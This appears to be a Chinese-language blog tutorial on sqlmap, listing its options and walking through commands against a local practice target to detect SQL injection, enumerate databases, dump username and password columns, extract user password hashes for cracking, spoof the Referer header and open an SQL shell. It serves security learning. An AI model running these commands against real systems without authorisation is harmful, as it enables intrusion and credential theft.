sqlmap各个命令的解释及其基本用法

各个命令的用法

-h,--help    Show basic help message and exit(显示基本帮助消息并退出)

-hh        Show advanced help message and exit(显示高级帮助信息并退出)

--version    Show program's version number and exit(显示程序的版本号并退出)

 -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")(目标URL)

Sqlmap的用法(如果是get型注入可以直接输入url进行操作,如果是post注入的则需要用burp抓包将抓包的内容放在.txt文档里面用文档进行查询)

1.判断是否存在注入

python sqlmap.py -u http://127.0.0.3/Less-1/?id=1

也可以加入--batch

python sqlmap.py -u http://127.0.0.3/Less-1/?id=1 --batch

直接跳过是否的选择

python sqlmap.py -u “http://127.0.0.3/Less-1/?id=1&id=2” --batch

如果存在多个参数时要加双引号

sqlmap各个命令的解释及其基本用法_第1张图片

如果存在注入type里面会显示注入类型

2.用.txt文件判断是否存在注入

python sqlmap.py -r C:\Users\gaoli\Desktop\2.txt

sqlmap各个命令的解释及其基本用法_第2张图片

-p 可以去指定检测的参数

查看当前用户下存在的所有数据库(--dbs)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --dbs

sqlmap各个命令的解释及其基本用法_第3张图片

获取当前数据库(--current-db)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --current-db

获取数据库中的表名(-D security(表示当前数据库名) --tables 这里是因为查到了当前数据库是security)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security --tables

sqlmap各个命令的解释及其基本用法_第4张图片

获取当前数据库表中的字段(–D security  –T users --columns)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security -T users --columns

sqlmap各个命令的解释及其基本用法_第5张图片

获取字段的内容(-D security -T users -C id,usernmae,password --dump)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security -T users -C id,usernmae,password --dump

sqlmap各个命令的解释及其基本用法_第6张图片

-D     database      数据库名     --dbs 查询数据库

-T     table         表名          -D 数据库名 --tables

-C     column       字段名        -D 数据库名 -T 表名 --columns

查询字段里面的内容    -D 数据库名 -T 表名 -C 字段名(username,password,id) --dump

获取数据库中所有的用户(--users)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --users

获取用户的密码(--passwords)

sqlmap>sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --passwords

sqlmap各个命令的解释及其基本用法_第7张图片

这里的用户密码是加密了的可以用CMD5进行解密

--level 5:探测用户等级

参数 –level 5指需要执行的测试等级,一共有5个等级(1-5),可以不用加level,默认是1.sqlmap使用payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、新方法、等头部注入。当然,level 5的运行速度也比较慢。

这个参数会影响测试的注入点,get和post的数据都会进行测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。总之,在不确定哪个payload或者参数为诸如点时,为了保证全面性,建议使用高的level值。

查看当前用户是否为管理权限(--is-dba)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --is-dba

显示true表示当前用户是管理权限,显示false则表示当前用户没有管理权限

sqlmap可以在请求中伪造http中的referer,当level参数设定在3及3以上时,会尝试对referer头注入。可以使用referer命令来欺骗(--referer 百度一下,你就知道 )

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --referer http://www.baidu.com

sqlmap各个命令的解释及其基本用法_第8张图片

用来欺骗是百度在执行

运行自定义sql语句(--sql-shell)

sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --sql-shell

sql-shell> 如果出现这个则证明已经执行成功

你可能感兴趣的:(oracle,数据库)